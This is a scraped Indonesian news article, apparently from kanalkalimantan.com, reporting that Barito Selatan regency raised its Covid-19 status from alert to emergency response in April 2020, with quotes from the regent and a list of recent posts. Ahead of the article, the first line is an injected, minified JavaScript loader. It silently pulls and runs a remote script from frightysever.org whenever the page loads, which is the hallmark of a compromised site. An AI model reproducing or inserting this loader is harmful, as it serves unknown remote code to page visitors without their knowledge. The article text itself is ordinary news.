(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Barsel Naik Status dari Siaga Menjadi Tanggap Darurat Covid-19


KANALKALIMANTAN.COM, BUNTOK – Setelah menjadi zona merah Covid-19, Kabupaten Barito Selatan (Barsel) meningkatkan status siaga menjadi tangap darurat. Langkah ini ditetapkan lewat rapat bersama tim gabungan gugus tugas penangan covid-19.

Bupati H Eddy Raya Samsuri yang juga selaku ketua Tim Gugus Tugas Penanganan Covid-19 Barsel mengatakan, sesuai hasil rapat dan kondisi Barsel terkait pandemi Covid-19 menjadi zona merah, untuk status dari siaga kini menjadi tanggap darurat covid-19 yang mana tentu jadi tugas bersama dalam penanganannya.

“Kini terkait covid-19 untuk Barsel kita telah tetapkan menjadi tanggap darurat dan tentu ini menjadi tugas berat kita semua untuk bisa mengembalikan menjadi kondisi yang kondusif seperti biasanya,” kata Eddy Raya kepada Kanalkalimantan.com, usai rapat bersama di Aula Setda Barsel Jumat (24/4/2020).

Ia juga berharap kepada seluruh masyarakat Barsel untuk lebih meningkatkan kesadarannya, mengingat saat ini dengan ditetapkan jadi zona merah karena sudah ada 6 orang yang positif terkontaminasi covid-19.

Masih kata orang nomor satu di Barsel itu, bahwa yakin dengan tugas bersama baik tim gugus tugas covid-19, tim kesehatan, seluruh SKPD dan semua pihak terkait untuk bisa mengembalikan ke adaan Barsel dapat kondusif seperti biasanya.

“Kita harapkan untuk masyarakat Barsel bisa lebih meningkatkan lagi kesadarannya dalam mentaati semua anjuran pemerintah, dan kita juga yakin dengan tugas bersama menangani semua ini pasti bisa,” tegas Eddy Raya.

Tak kalah penting, Bupati Eddy Raya juga meminta semua pihak ikut memberikan edukasi kepada masyarakat terkait pemahaman bahaya Covid-19. Terlebih saat menjalani bulan suci ramadhan. Bagaimana caranya untuk memutus mata rantai dari wabah covid-19 ini dengan penuh kesabaran dan kebersamaan tentu bisa.

“Mari bersama kita berikan edukasi dan pemahaman untuk memutus mata rantai penyeberan covid-19 ini dan dengan penuh kesabaran di bulan suci ramadhan ini serta kebersamaan tentu kita bisa menjalani ini semua,” tandas Eddy Raya.(kanalkalimantan.com/digdo)

 

 

Reporter : Digdo
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.